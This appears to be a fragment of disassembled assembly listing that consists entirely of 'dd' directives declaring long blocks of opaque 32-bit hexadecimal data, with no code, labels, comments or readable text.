		dd 0D35BF909h, 0F7660947h, 8017D35Ah, 66011056h, 0CB895BD9h
		dd 10E94B9Fh, 8368126Dh, 0FD648CBBh, 58101965h,	24109BEh
		dd 3BD6A12Bh, 0FEE6F2C0h, 57BF0EEFh, 0D35DD789h, 2E402D5Fh
		dd 384A79E8h, 3343CD48h, 0AE2AE258h, 54502736h,	66CBFC79h
		dd 0E4EC5B4Fh, 0BA0BEB77h, 0FC5B907Fh, 8C31460h, 0AB44505Dh
		dd 0D8A44E95h, 514013FDh, 1AB4012Dh, 0D0F753E1h, 3D728048h
		dd 0B850100Fh, 0C82F1744h, 5AC3F243h, 9FFF9834h, 0D9875168h
		dd 597B92ACh, 1CF820E4h, 0DC07E1C0h, 75F6FCE9h,	2B54B93h
		dd 34685D16h, 74F6EDF8h, 0BA8BC45Ah, 4178FA50h,	13F620BFh
		dd 0F512BB96h, 0A2E84004h, 126FC1A4h, 0E0549568h, 5801C376h
		dd 788D2DA9h, 488C0DC8h, 0ED2FD42Ch, 81189F26h,	62CD003Bh
		dd 0F70AF878h, 4796DDh,	0CB4FA6EDh, 2F25E9C4h, 0E03C6856h
		dd 7C33B2DCh, 21B13D0Ah, 5ED66E25h, 0C73940AFh,	836C04E8h
		dd 0C4EF014Ah, 0E90803DAh, 0BA84949Dh, 5C2FA5F3h, 0F4B2244h
		dd 72986DD2h, 34D97D37h, 1F390901h, 0B80CC9B5h,	0D2D4F46h
		dd 49B7DEA0h, 4B9A7903h, 0EF893CDAh, 60F8ED99h,	0B89FB9C8h
		dd 256855C6h, 0E6510FF1h, 0A43DBC8Eh, 0CFE5B3Bh, 4F84DB66h
		dd 0B13BD4B7h, 2E1EA6A8h, 0FE5C1629h, 41CC5FCEh, 7A5C317Eh
		dd 0B1C9D836h, 454E0207h, 94DC47E9h, 4E10905Fh,	124FF664h
		dd 0ACE343C0h, 32756D12h, 0F7C54ECh, 0DABA7552h, 228DCC7Fh
		dd 0FBFC707h, 781F29ABh, 0EC5C5E5Fh, 15B8510h, 0DD543B4Ch
		dd 0DB8A30E9h, 37B6EDCFh, 0DC1ED727h, 80630A7h,	6E5E1D68h
		dd 0D233778Ch, 9EC018Dh, 7C5337EAh, 542D7EE5h, 8BF11249h
		dd 0FB3DE284h, 8AF02D20h, 5D204109h, 9048D80Dh,	0C89D4AF2h
		dd 5B419769h, 60662A82h, 0CB550423h, 0FD7D9879h, 89961A16h
		dd 78FDDADFh, 0BD5D4E31h, 0F4B5D8F3h, 0E6C080DDh, 3DC4085Ch
		dd 0F3CDA401h, 5656FCA5h, 1CDF3F2Dh, 85F2A266h,	1CD1C11Dh
		dd 0A4E3D829h, 1750CFB0h, 642B8768h, 0E494EA9Dh, 349CD606h
		dd 68E60A1Dh, 0C3B61DBDh, 7700A1EAh, 6F7AD8C1h,	0F1D1015Dh
		dd 0A4088EFAh, 4EF8BC6Ah, 45F5B8CBh, 555E0996h,	0D3E4B15Dh
		dd 5D94A42Eh, 0BE86809Fh, 4BD7C5E1h, 8EB4E00Ch,	35A8FCBFh
		dd 1DDCEF34h, 68178C59h, 0B6FD1792h, 2903B320h,	148805E8h
		dd 2DBBF553h, 2696011Dh, 0CC442B40h, 0D81BA468h, 0C1F57FBh
		dd 97A8585Bh, 93DC7427h, 203010D5h, 6852010Ch, 63AD428Ch
		dd 809E852Bh, 37A8CAB6h, 0D19536FCh, 46AF614Eh,	3429ED51h
		dd 720CE29Eh, 3A458F18h, 0BC693344h, 79E1F246h,	0A7FDDABEh
		dd 3F58D648h, 4521EE02h, 427D9F82h, 2DFA824Ch, 234B38DEh
		dd 8C5738B7h, 0CFDFDBA9h, 2BDFACC9h, 0C99ED1BDh, 0E4F5AF21h
		dd 0C27333AEh, 12F1C67Dh, 0A0DAFF9Bh, 0C3C4A35Fh, 5C8C895Bh
		dd 2C4ACBD8h, 49C420Dh,	0F9CCA3E9h, 2EA13840h, 3DCEF7FAh
		dd 12D024B8h, 0E9DAB5C0h, 0E4E15B3Eh, 0CBD25F8Eh, 0A1D3180Fh
		dd 0CD017C67h, 844C5E1h, 8CB58FECh, 0D25C0D04h,	85C4C4B3h
		dd 72004909h, 1F514721h, 41E1D100h, 6368BA52h, 0C9645088h
		dd 0B0301EFh, 0D1424A49h, 0CCCD40EAh, 8B123FCBh, 19E0B3E9h
		dd 435F09B9h, 93002947h, 778F6BACh, 2D5B05EAh, 5C5CE072h
		dd 921D426Ah, 5EEA0504h, 0B0859788h, 0CB995FF8h, 13599E6Ch
		dd 1306E02h, 4A211919h,	920C801Bh, 0E9B447DCh, 0E33F4BE1h
		dd 0C0A4381Dh, 4EBD07BAh, 1F4A398Dh, 0B310169Ch, 42EB88CAh
		dd 37EAC7E9h, 2FC27255h, 7F7A47DFh, 8020E4DDh, 245D038Dh
		dd 2C2130E3h, 885884BDh, 1011B9F4h, 5B3B42AEh, 80B462Dh
		dd 0E8D13ADFh, 82BBCE00h, 9867C705h, 0BD416F5Fh, 9BF82Bh
		dd 350260C2h, 0B1D001FEh, 36100933h, 733BBC5Dh,	79FF7113h
		dd 58CCAC87h, 472A415Fh, 9EE8CA3Ah, 0EF298B84h,	0BE3F4855h
		dd 0D60431CEh, 3488E822h, 9B4AE646h, 0B5B367EAh, 4AA0ECC9h
		dd 5A1D1EDh, 0E2AA0484h, 768F2F78h, 29182F54h, 7BE1BEB1h
		dd 4EE16301h, 0C1C9C9FEh, 0E98008BCh, 42D2C2Ah,	0C876281Fh
		dd 0A4C4DBE9h, 8C664C69h, 0B22CDFDDh, 0F2801294h, 670EEAEBh
		dd 0A2DD6E51h, 0D45B59ECh
		dd 801BE003h, 0E917C8F6h, 65BBD6F1h, 6F030076h,	0E939927Ah
		dd 759B622Dh, 46906816h, 7140D54Eh, 0DE80C8EDh,	0DC2B532h
		dd 90D74789h, 9D93FB35h, 5262F153h, 0B4FB9058h,	0FF728286h
		dd 94C38009h, 309081C0h, 1F7B383Fh, 2A9F920Ch, 6C885A7Eh
		dd 5E647198h, 0B954BE11h, 328B4E35h, 0BC298D4Eh, 56572D20h
		dd 0A97CA564h, 251092CAh, 38FDBB01h, 300174D6h,	0C096D77Eh
		dd 0E9EA860Eh, 0B700F8EEh, 0EF16C96Fh, 0B0B67DA8h, 1324284Eh
		dd 6477DEEEh, 3E845699h, 0DF3EC5C1h, 9A7E5207h,	49D92DEBh
		dd 0F6EA50DEh, 252E7FA8h, 0F51F8855h, 0FFCFBA89h, 0F1AAC01Ch
		dd 0C2AAD9DFh, 7EAC6E9h, 1A0C56DEh, 0C14119D9h,	3D69B87Bh
		dd 31876AE5h, 817F7959h, 48E074C0h, 2A876109h, 0ED186C8Bh
		dd 0D0313C7Dh, 0D552449Ch, 2B0A34E1h, 95DD60Fh,	0A9C8DDCFh
		dd 0F680A4D4h, 5B1CB8D7h, 7E65B5E0h, 361D0E80h,	684E0963h
		dd 2A6614B7h, 57EA9425h, 2DD07F10h, 0C346371Dh,	68C1AAA4h
		dd 0F18B078Ah, 68D9CA27h, 486DA243h, 0F34A79ABh, 0C41AD015h
		dd 67FDE17Ah, 87D5F52Dh, 0C8D3F758h, 0FA1A5FF6h, 0E102AB2Ch
		dd 6B6619C2h, 1EED7971h, 0BC489C49h, 0B7E792E5h, 0C6A47745h
		dd 4900DB10h, 39E0BD55h, 0FC903F46h, 0AE675709h, 975BF09Bh
		dd 0DBEBCA48h, 0C2763C2Ch, 2138073Eh, 0E2FB4851h, 2A080AB2h
		dd 62CC6858h, 0D26D7553h, 0D04C3DE4h, 0FE30015Bh, 84CE805Bh
		dd 205DE37Bh, 0F60CE734h, 0C62D4A73h, 1C72C94Fh, 28652530h
		dd 7689F328h, 55E92FB6h, 5D4BA1F8h, 0EAA5C9A8h,	60088DC1h
		dd 0E9A40C6Ch, 421E2DEBh, 4B5B7755h, 0A776F425h, 0A0309E5Dh
		dd 81343893h, 5F8AD847h, 0A2C935B9h, 1227FBCh, 0C8219E68h
		dd 51B55B08h, 7BC460B7h, 0BAB80C2Fh, 9BBC340h, 638B19DCh
		dd 92C62C0h, 8C0C232Fh,	0A6B1294h, 437A5D0Bh, 0C2C71EDCh
		dd 5A534779h, 9051E6F7h, 6E3D41CDh, 2F8067C8h, 39FED8C7h
		dd 0C1ACA038h, 0A533E044h, 7BCC3017h, 0E33A3425h, 81C4099h
		dd 0BB530055h, 20464E2Fh, 827F0FBDh, 1DFE374Bh,	155BA6F0h
		dd 0B85F6FCBh, 49D707A1h, 5A94F44h, 12D24D85h, 2DD8DA5Ah
		dd 3BA46ED8h, 0A92CAA02h, 0C15052DCh, 0B6C85D1Ah, 31AACE5Fh
		dd 0B624A6A4h, 0C1F2DF33h, 150816E8h, 0E03D0F2Fh, 0F4CA8184h
		dd 1D74B13h, 45E9071Fh,	82443CE6h, 5D182568h, 0A72B9318h
		dd 0D2B910C0h, 0B77A9313h, 6819F8F0h, 9EA3243Dh, 0BE24162Bh
		dd 2317669Bh, 0CE30AEA7h, 7D8B4A31h, 0C4705E2Ah, 84B3EB3Ch
		dd 3CC0F5CBh, 0D897CA31h, 0BF752DF8h, 822CD727h, 39559765h
		dd 882A05A4h, 2B948A21h, 2EF6886h, 0B5CB3059h, 6671CD6Fh
		dd 579521E2h, 9E403A8h,	0BD7FC40h, 0E961D18Bh, 0F501685Ch
		dd 2AD5FB65h, 5B1FB42Eh, 21D08641h, 691CF0CFh, 29838299h
		dd 831361ABh, 0F026DDCCh, 60EA0FF4h, 74AC098Bh,	4E26B31Bh
		dd 0DA0EA851h, 0A9D46E50h, 2F895BE5h, 28D6F761h, 0E86812B0h
		dd 0EDE2DE8h, 0BE170175h, 4784B0DDh, 0BECCF6E9h, 0B0921F37h
		dd 4147A31h, 0ED7BFEA3h, 250CAC29h, 619477EFh, 351CC358h
		dd 85EBCF96h, 7D4BA8Ch,	2BD1F1BAh, 51194061h, 52E2BB04h
		dd 0A55EF24Fh, 62C279FEh, 965D1276h, 29718CFBh,	7B5AD12Fh
		dd 825B27A3h, 0A5E15B13h, 0CA6B3E59h, 0B1B89216h, 0BB3DF800h
		dd 2BBC6864h, 0AC67C19Ch, 424830F2h, 160B5809h,	0B8632768h
		dd 685BF0BAh, 0D87D5A8Dh, 0BD46555Eh, 0E178F304h, 9C50BA12h
		dd 9FE90908h, 8CE6D7ECh, 0C695D725h, 176812A3h,	5537C850h
		dd 6DB0544Eh, 28F36015h, 0D4096DBDh, 20CB0F5Ch,	365D79A3h
		dd 9F121C6Fh, 0F6516613h, 0F4D91446h, 0F131393Ah, 1F92CE3Ch
		dd 785CA272h, 0E6803A4Eh, 984EEA80h, 295640F9h,	81B70790h
		dd 445E60FEh, 0F2E6802Bh, 48003425h, 2ED0BA52h,	50F72DDFh
		dd 164685DAh, 0EF075D06h, 8142E50Ah, 8BE88E04h,	780BBD82h
		dd 71F89F27h, 59E0F4B5h, 2C7D2C0Bh, 55271D52h, 95005B2Eh
		dd 43E9D103h, 65B84B9Ah, 0DA82D49Dh, 999E084Ch,	4439BD62h
		dd 0F94B53C9h, 4EB45009h, 22E2EA07h, 0E4F55AD3h, 355D5839h
		dd 7D651200h, 0AAE38156h, 7C623804h, 0BBF13FE9h, 4A4F0E60h
		dd 0B1A8C05Ah, 0BAA08871h, 0D8081B0h, 0F86A0008h, 0F50A2D78h
		dd 2EFE694Fh, 0E2859166h, 810BA80Eh, 4C4803F2h,	0D5311E63h
		dd 891FF0E9h, 39551DB7h, 7DEC52C5h, 0B67AE145h,	0FBBB8098h
		dd 9F1DA037h, 68557860h, 0E6083A25h, 64A43DBFh,	824F354Dh
		dd 0F8F629C5h, 0D59A0F09h, 0E5270CE5h, 0E6C827DAh, 0B1C56F6Dh
		dd 33207830h, 13653E77h, 0B3FB31FEh, 0F4892426h, 4ACFC59Eh
		dd 22ED9697h, 492E0841h, 0B5BA54C1h, 3D623974h,	5839DDCDh
		dd 0F1F87A5Ch, 0EA91EEE5h, 2754C86h, 2642140h, 7E4ECB40h
		dd 2C212861h, 0E8C1B11Ah, 40A0EF20h, 0F44A889Dh, 27C99EABh
		dd 80CC8083h, 4B30CBF6h, 0FE0361F0h, 3AD81146h,	12FDB904h
		dd 40FE5DEFh, 4A67D75Fh, 0D6B75B1Ah, 3077EB5Ah,	9D2003B5h
		dd 0AE0299F3h, 0FD4EC346h, 0B60F3702h, 74B4FF29h, 0A2046FBFh
		dd 0C6C05E6Fh, 56B7CF85h, 5119721Fh, 88D95075h,	527958C6h
		dd 873E255Ch, 2C0213C7h, 52177642h, 0B8162AE2h,	5D62E916h
		dd 871D77E2h, 860F67DFh, 528D8433h, 96A3AA08h, 0A422E982h
		dd 2F7AEC75h, 10DFFC1Ah, 0B4053880h, 5631827Bh,	0D7AA5A3Eh
		dd 57BB17D8h, 0B149EA2Dh, 0A427C8CFh, 0D61DD69Fh, 0E6FACD28h
		dd 9CC224Fh, 51AE400Dh,	789FB916h, 0E7C6EECh, 6B884008h
		dd 0B95D17A4h, 0A9AAA457h, 9DF097DCh, 5E3F047Ch, 0B3740178h
		dd 0FA0C4139h, 0D731B05Dh, 7FBD816Fh, 47563095h, 1410D2EDh
		dd 8054CA18h, 819EA927h, 331F9621h, 414E3860h, 3BF7ECAFh
		dd 2C1C1013h, 63ADAD01h, 0BF202E77h, 96541326h,	66EC0039h
		dd 318212FBh, 2055F3B5h, 6AA204D5h, 0FE894D98h,	4DE9342Ch
		dd 680CEF16h, 63152149h, 0C3973864h, 0B21397AFh, 7BDDBCD4h
		dd 0AC5DCAFFh, 0EE6E0BE9h, 0F8F919F7h, 0B972093Eh, 0D0BF91FAh
		dd 0FAF7E72Ah, 590F060h, 4B986856h, 9EE21A27h, 0E04CF764h
		dd 178304E0h, 33CB543Fh, 90A9040h, 2123D23Ah, 0E21A82FFh
		dd 0AD0A4008h, 2877002Ch, 5263E181h, 0E92739E0h, 80F7E205h
		dd 5B93F716h, 0C575509Ch, 923B16B2h, 5F76BC56h,	80DA1CB1h
		dd 0BCE908FFh, 0A4BBD2Eh, 2CAB58B9h, 9D68800Eh,	9D5B385Fh
		dd 0F22CBA31h, 0B0EE8100h, 61533B22h, 4517E60Eh, 0DC8077EBh
		dd 0A082ED6Fh, 0FCF18931h, 0C05BF2Bh, 8060286h,	1C1801Ch
		dd 0D446F1CEh, 652D7EBCh, 49ABD97Ch, 2F2C34DDh,	0F4E66D90h
		dd 2F235122h, 1D598186h, 1AC0E88h, 7B6828BAh, 0F2AC6B7Dh
		dd 0AB3CEBC4h, 16C68730h, 5F462ED3h, 5199027Dh,	895F640Dh
		dd 81C4D775h, 72EDE927h, 0E7E05AB6h, 0CAEF92B1h, 31AB5EB9h
		dd 0F23D56h, 2D519C68h,	29FD09EDh, 9B2B7763h, 4C4B22F3h
		dd 29F2F02h, 0A2F0CC64h, 0B9804092h, 0CA7A201Fh, 50F35B59h
		dd 0E6409773h, 66C8B558h, 250BFC86h, 30FA298Bh,	62C5E9DCh
		dd 0DCB44CA0h, 0CB0BE477h, 0AE6553A2h, 0DB27B0C9h, 3D1A307Dh
		dd 104B68C6h, 5D62FCBCh, 625507DAh, 9F5D57FAh, 9AE90487h
		dd 8AD79076h, 1650104Eh, 0B12D7AC0h, 32B774EFh,	5001C924h
		dd 0B06A78B4h, 906CC1Fh, 0D6F6F486h, 49EDF308h,	0B5DFECF0h
		dd 0D3289E60h, 0CFE76658h, 0FCC32902h, 0F8BA4081h, 13605732h
		dd 0A8CD0C98h, 0ED2295ECh
		dd 800BD4F1h, 4A60F27Ah, 0F60248CBh, 54120331h,	8273C968h
		dd 0E049AC0Ch, 94AFE6Fh, 0E659DA2Bh, 0A206B308h, 35E9128Bh
		dd 444FDCFh, 7877256h, 0E94370ABh, 5997ED3Bh, 3E123C3Eh
		dd 9EF5ACF1h, 2F32715h,	833F64BEh, 0BCFA4021h, 0BDF704F2h
		dd 0FDBF26E9h, 6BC9DE68h, 62707EACh, 0BE00B72Ah, 25AB6097h
		dd 0B4715229h, 0C915A372h, 5661C046h, 0C99197BEh, 0C7A17EDEh
		dd 1290E93Bh, 69E33B55h, 0DDA37E13h, 0CED2646h,	0B516AE68h
		dd 0EB2860DFh, 43D1143Bh, 0E863E1F4h, 0E269E541h, 0F5C582C3h
		dd 8CB94B44h, 5CF4E4EFh, 4EDBCC97h, 8A2D139Eh, 2F327EC4h
		dd 55E313B4h, 0B97A1922h, 12B0597Fh, 5AA94B29h,	0E112487h
		dd 1A07666Bh, 5778F514h, 546EE0CCh, 0FC7F9141h,	0CB879D3Eh
		dd 0C326D831h, 0B992D908h, 0B76C2889h, 0E3FFC5B5h, 0D92EC436h
		dd 4F2928EFh, 57226297h, 96897BEFh, 20131637h, 1892B364h
		dd 94633CF0h, 810BBA64h, 802A22E7h, 903F8599h, 0A40C4C60h
		dd 4B7178h, 0D5AD021h, 20026D65h, 6FCC3500h, 6CE973ECh
		dd 0F66FC076h, 4EAC771Bh, 0D6DC09B7h, 8D6400C8h, 0C1D0F771h
		dd 0E902E009h, 0BF25D0D9h, 86ED4DCh, 5F0A28Eh, 7D3FF205h
		dd 0F584FA34h, 4A3C0717h, 9F2B057h, 5DB4756Eh, 5A2DA653h
		dd 0C192DFBCh, 216DAA62h, 3F9770C2h, 9C8F8DCCh,	0EE8D54BDh
		dd 0D21498D3h, 5EA54508h, 0F3B58046h, 69097BCEh, 5D8232E9h
		dd 2F4BB534h, 0E37E35E1h, 74FED2A7h, 2CA8D1FFh,	4A231129h
		dd 4884AF05h, 0FDD810BBh, 0C58EF75Bh, 0F4FEF021h, 8D7080E0h
		dd 3D305595h, 50C9B897h, 6AF501B0h, 49602F04h, 69CF50F1h
		dd 33481340h, 785CF1FCh, 8AE93C0Ah, 0C31BB15Ah,	88FF45AFh
		dd 5027F89Ch, 68510CD8h, 3CD53E81h, 4EC00140h, 45EACE2h
		dd 474068E7h, 16CE7FFCh, 7D54C30h, 56E27BBCh, 7FFDD1E4h
		dd 86A0C180h, 694B32Bh,	5CCFCA38h, 4031AB5Bh, 80048CCCh
		dd 5D938015h, 0C481615Eh, 0B80040F4h, 40772AEh,	2284356Eh
		dd 0E8C13811h, 4E671020h, 29CB4060h, 9074B4Fh, 5CD26282h
		dd 675B13DFh, 7D52C27Bh, 10F51A80h, 57096CE0h, 5169E268h
		dd 3DC483B0h, 0F7C1CCADh, 26896F5Eh, 89149721h,	3322BDDAh
		dd 7FFBBF25h, 1455BCB2h, 5D701D63h, 0DE874666h,	0B5820643h
		dd 0C185E384h, 6FEFCB77h, 0E2B789BCh, 0A85C9834h, 9D8B2850h
		dd 71944B94h, 2629AC3h,	0FDE1EF25h, 73D63C4Ch, 9C48F920h
		dd 0CAB4A7A5h, 1F2CCAEAh, 6255504Bh, 7F562C88h,	0B4115827h
		dd 22FD5ACEh, 0D92FB34Dh, 0E179824Eh, 495DD60Fh, 176BCE32h
		dd 7D08A771h, 55D7D02Dh, 8006AE2Dh, 211825C0h, 4FAB686Ch
		dd 0C75CBC02h, 66C20FB8h, 7760772Ch, 0D1BED701h, 95685B84h
		dd 96F23EF4h, 0CCBD015Bh, 0E9131B44h, 4EDE7C3Ah, 0F37607EEh
		dd 292ED364h, 12A8CBB0h, 4B5D4018h, 256BDFA4h, 66C03F0Ah
		dd 4F819269h, 0D39549D8h, 5A83FA0Ch, 0E1F99A80h, 0ED689662h
		dd 0A8C59197h, 67F7C233h, 32DE01EAh, 0D85301E7h, 0EE012DF7h
		dd 2785BA15h, 23A17CBh,	8680E90Ch, 0A902B7A9h, 0F7028A90h
		dd 2ABDCD5h, 1913602Dh,	0EF7EC955h, 0C5E5E6Fh, 5994E795h
		dd 0B9C57398h, 998BD329h, 0E239E84Fh, 9C9FFDAh,	6518ECCBh
		dd 734AC590h, 3568BDC0h, 4CFA000Dh, 0F781475Fh,	43250990h
		dd 60B3F804h, 0E1D10249h, 40BFE9C1h, 2DD0C34Dh,	0F6DE45D6h
		dd 10A41C89h, 90F4879h,	0CD015AB1h, 0ECAB6784h,	36E19600h
		dd 684DA320h, 12BC7E98h, 4C5181BCh, 6A8C2F9Ah, 41E3F455h
		dd 16BDD875h, 45AB4202h, 0E08ACD81h, 6573187h, 11067ABFh
		dd 5F14BC17h, 0EA1DF6Ah, 6F602FC7h, 7FCF8133h, 9740FA41h
		dd 19DC5F7h, 0FD21623Dh, 81A91EE9h, 25DDBE76h, 4703813h
		dd 86B88088h, 0E4C49A98h, 0C7409B4Fh, 21221899h, 0FF6720F5h
		dd 0B8A003D6h, 7AFD2468h, 0D0908C60h, 0D16865Dh, 8F1F5070h
		dd 5DDBF80Fh, 6DFE08h, 5FF0B951h, 0F49D285Dh, 4C55A55Ch
		dd 5B1180BDh, 2FC69F58h, 13D0509h, 5A857DABh, 0B07122Dh
		dd 0A37EC93Ah, 90D20C6Bh, 30CE1EB5h, 83204DE8h,	9B542F22h
		dd 0D2AD270Ch, 68016487h, 6924879Bh, 0E1E6EF50h, 51F7062Eh
		dd 4DA5183Ch, 0B0575C2Eh, 650C4EF7h, 1821BE2Fh,	0F97BFDA0h
		dd 9017C759h, 0E1B64708h, 6F1EB753h, 0FB5E9EFCh, 0F80BBB1Ch
		dd 4B3032Ch, 284AA8A1h,	0E72CC7F0h, 6852680h, 0EF33A576h
		dd 0F85B2E3Bh, 5E28A1B3h, 0D061AFD8h, 7687D0B1h, 7742802Dh
		dd 0C2C6D417h, 0F0742273h, 43906805h, 4DD74FAh,	0A849E6EFh
		dd 67E1C6A0h, 2D6D25CDh, 5655E83Ah, 8921424Ch, 0E96E5F7Ch
		dd 0C9CAF6E0h, 596F327Dh, 0A12B69D7h, 234BB356h, 4AA1DC28h
		dd 94A77143h, 2F036209h, 52CC41EBh, 0AEB43169h,	822BA9C9h
		dd 5248B66Eh, 3600CBB9h, 39BE719Ah, 0FE8E65C9h,	0DA869F96h
		dd 8100B55Bh, 0D33F58EEh, 0B8CE0160h, 57D9287h,	0A0369335h
		dd 829182DDh, 6045490Bh, 0B24F536Ch, 0AC03D249h, 951D495Ah
		dd 0C0B2E4FFh, 366B4416h, 90327506h, 0C60095FFh, 0EF68A0EAh
		dd 10AB204Eh, 0C04E080Bh, 8B4CA8D1h, 8E2A6360h,	0B715D362h
		dd 8084E4Ah, 41CB1798h,	5D6859D3h, 0D157C20Eh, 43E94130h
		dd 51A73E0Ah, 5428AE4Eh, 21264D6Ah, 7499CF02h, 206044F0h
		dd 0CB026F7Ch, 78AB354Bh, 6FE2750Ch, 314AAC63h,	8180C8C4h
		dd 4B620D3Ah, 13E1E801h, 0B40BD389h, 0C4EDF6FBh, 0EB3494AFh
		dd 4256C198h, 30E909BEh, 0A738F9C0h, 868CD654h,	18EDA5BDh
		dd 0BA7CB323h, 2C806053h, 0C6202552h, 0C002C894h, 0F68006EEh
		dd 1C3C5472h, 49CE1212h, 49ECF3DEh, 0B475E92Ch,	103E0A6h
		dd 20E28598h, 5C489CF2h, 5A5BC5B8h, 0FED6DDB8h,	0E2FB7D94h
		dd 68F4D24Eh, 0EE14FFA1h, 0B32A401h, 6930444Ah,	6A7C1720h
		dd 48B6FC12h, 6905266Ch, 0E5F18181h, 6F20109Ch,	0AC144B32h
		dd 4183C3D9h, 8911F523h, 13604CFAh, 4D1D8811h, 52BA1FBEh
		dd 0EEA4C9D2h, 0F42B4137h, 0F4B5B023h, 2FD48B5h, 53472287h
		dd 0CB01B2E8h, 0A7C3E912h, 744A7C20h, 81160175h, 4FFADCEBh
		dd 10F93E9Fh, 51B455Fh,	9F20AF10h, 2C3E3AF5h, 7C70E66h
		dd 84040734h, 3F41EF29h, 7BA6511Ch, 1F799070h, 0FB481E05h
		dd 0CB0E3048h, 89FF634Dh, 0B381E8CDh, 2409E961h, 0D709BFB0h
		dd 5739A67Fh, 6E549891h, 0E9C4FAE2h, 0C5988850h, 5F58DAD4h
		dd 5DCD32E0h, 0C6133CC4h, 0C8DE349h, 0EE560C12h, 0F3F209C2h
		dd 4AD4E9A9h, 62CB9324h, 41BE561Ah, 7EC77BE9h, 0D66AAF4Bh
		dd 0EF407ABAh, 5C8167DBh, 5CB1E960h, 3AB6EB31h,	0FA4E29FCh
		dd 0B88865FBh, 0B97284A8h, 0D60211EDh, 43029220h, 0C5FE81C0h
		dd 80AA1AD3h, 21F7F496h, 7FE6AF5Eh, 7D2D5A00h, 11E5622h
		dd 705F028h, 1F20CDB0h,	948F9DD3h, 0C0DE6109h, 88697088h
		dd 0B3098594h, 1EFA7488h, 0F67ED79Bh, 41AB4AFDh, 0E929F125h
		dd 0E6F9607Dh, 6820D495h, 0BFB209BFh, 536639C0h, 76756813h
		dd 5F2B388Ch, 581BF70Ah, 64CF8F4Ch, 95EA766Dh, 0A6D104Dh
		dd 8242932h, 2DDEBF8Dh,	40EA1C5Ah, 2F7D7D50h, 5766B4E0h
		dd 0DE15A80Bh, 594ED534h, 53087495h, 0DE871E2Dh, 0AA4C42EEh
		dd 3885A14Ah, 0EB31D5CFh, 0E9856CA3h, 0DC4DD67Ah, 3DD9114Ch
		dd 5C4D9201h, 6809E0E7h, 479918FEh, 16112D52h, 88BCB6B2h
		dd 55EE65C6h, 15550890h, 0CA6440E9h, 0D5CEA0Eh,	25933708h
		dd 0AFB12564h, 1D100E30h
		dd 8041057Bh, 54EE21EFh, 0FB4C2970h, 4ADB49EDh,	7C3B2EAFh
		dd 95EE202h, 0F9525059h, 0F70DB156h, 0B9493ADFh, 8412C260h
		dd 90A8FE41h, 2E98B743h, 51036850h, 58067073h, 9A1A9135h
		dd 690DA8E3h, 0E97509EAh, 4DCEAEB5h, 56B57190h,	6C495627h
		dd 81844B09h, 0E1DC22C2h, 0A33B9E26h, 22AE404Ch, 749F6870h
		dd 985564E2h, 0FA04686Eh, 5A2C6432h, 6B20CA80h,	0C0134AC3h
		dd 0E9EF3192h, 0AF0CB030h, 3D6F7AF5h, 0D7AA0A1Dh, 0A85D4BF7h
		dd 7F1CB205h, 203B49CEh, 74B5778Fh, 1755258h, 8EAEE92Eh
		dd 6D890405h, 3E0F13B1h, 7E4D4D1h, 0E8FC26AAh, 52A4E7F2h
		dd 499B0C99h, 2B0C0D6Dh, 62C5640Bh, 892A845Ah, 4C0BAA13h
		dd 8F5A002Dh, 0B5E8D1C6h, 48740AD0h, 0F830D87Ch, 0E22D2A77h
		dd 2F023D0Ch, 0F4DFF13Bh, 0C6955B63h, 0C0112433h, 52660965h
		dd 17A70475h, 0F9E38101h, 2A13DD41h, 0C7801CC5h, 589B2634h
		dd 42042A37h, 0C057E20Bh, 7D33328Eh, 6289D72Dh,	5C73623Bh
		dd 0C34B8BCDh, 0B3538823h, 7E3C090h, 0F497290h,	5EF00116h
		dd 0C109402Dh, 0B04F6929h, 19BD08FBh, 2F3332Ah,	6A80E69Dh
		dd 4DF60699h, 0C4B8FE00h, 322CDE05h, 2D5411EAh,	0B75078Ah
		dd 5D568A29h, 0F75CEB60h, 0F9FF4A55h, 25DED038h, 0AB6963D5h
		dd 4C0ADE3Bh, 0D01FDD35h, 0B02DD246h, 0F4BD59E0h, 0D4B4726Bh
		dd 0C68845B4h, 3E556B68h, 0B63AA94Fh, 0FB77AE23h, 0B641387Dh
		dd 0C05D122h, 823FE457h, 0D15FD25Dh, 0A851C54Fh, 5220054Ch
		dd 0A200110Ch, 2D3A1B87h, 0E9D60CF7h, 0F1C9C710h, 34A9C217h
		dd 922F1006h, 80C59D54h, 0CC4E133Fh, 0FA388BEh,	5F118A69h
		dd 0EEC1DEE0h, 30F8054Bh, 404B8D6h, 29C2718Bh, 2FA8B7BAh
		dd 5C13429Bh, 1BCE58BAh, 0DACCD8BEh, 8D817B8h, 0B3DD043Fh
		dd 5E32AEFBh, 2DCB5C9Bh, 20FE9CDFh, 0D3908246h,	8E80685Bh
		dd 270DE6BEh, 0A257262Ch, 0D79CA36Dh, 0F9E92479h, 0E85046DFh
		dd 0D00C480Fh, 0AAE7A061h, 981BCD56h, 0A9AB0BFCh, 8B77F7BCh
		dd 4110556Bh, 7098E1C1h, 0D17BD7Bh, 0F301678Eh,	0B23F3CCBh
		dd 0C1CCD22Eh, 0FE43055Ch, 0D20A7CDCh, 853C05F3h, 87B8989Ch
		dd 6A31194Eh, 0F121AA6h, 0FD2C095Fh, 0E0B608E5h, 6B9D0AC6h
		dd 125766CEh, 0C6332316h, 3AEA22D8h, 6818029Dh,	5D0A75B3h
		dd 80403FF5h, 651EE30h,	9DD6F6C6h, 65BBE74Bh, 1661F382h
		dd 7333B5h, 432C4C35h, 0EBB5377h, 0D131F978h, 89320553h
		dd 65B7EEC2h, 0B66FE982h, 629770C6h, 76D1FFC6h,	20D7061h
		dd 50C15DFCh, 607CF4E5h, 0ECC7DDA9h, 565E1249h,	84079B9h
		dd 5B8B905Bh, 0D033B790h, 0A8075B95h, 0FA27D731h, 4A9FDF92h
		dd 8D419248h, 13B728Fh,	935D0E4Bh, 2A47F13Ch, 0EF3F30AFh
		dd 93F2123h, 0E6F21238h, 20924766h, 811208E8h, 79B932F3h
		dd 92AAE52Ch, 0AE0AB5Fh, 54C740F4h, 0B2575B28h,	0E461C507h
		dd 0C50BF66h, 6A3142CEh, 40A90DFh, 0FADBD593h, 0C5D960B1h
		dd 6B87AFBEh, 0B451F028h, 0C38F94BBh, 0FEF0DEE5h, 0F67580CEh
		dd 4000C04Ch, 501C07FAh, 6753E9B4h, 2BBA2952h, 127C49D0h
		dd 3920B270h, 0B5D3A18Fh, 0DD991C4Bh, 0A6A92B5Bh, 2CB327F1h
		dd 0B5518047h, 4ACD80A5h, 8A92AA3Dh, 80704221h,	0D638ABBFh
		dd 60E2FC26h, 0CECF7BE4h, 7128627Fh, 0C4028D47h, 0E96CB240h
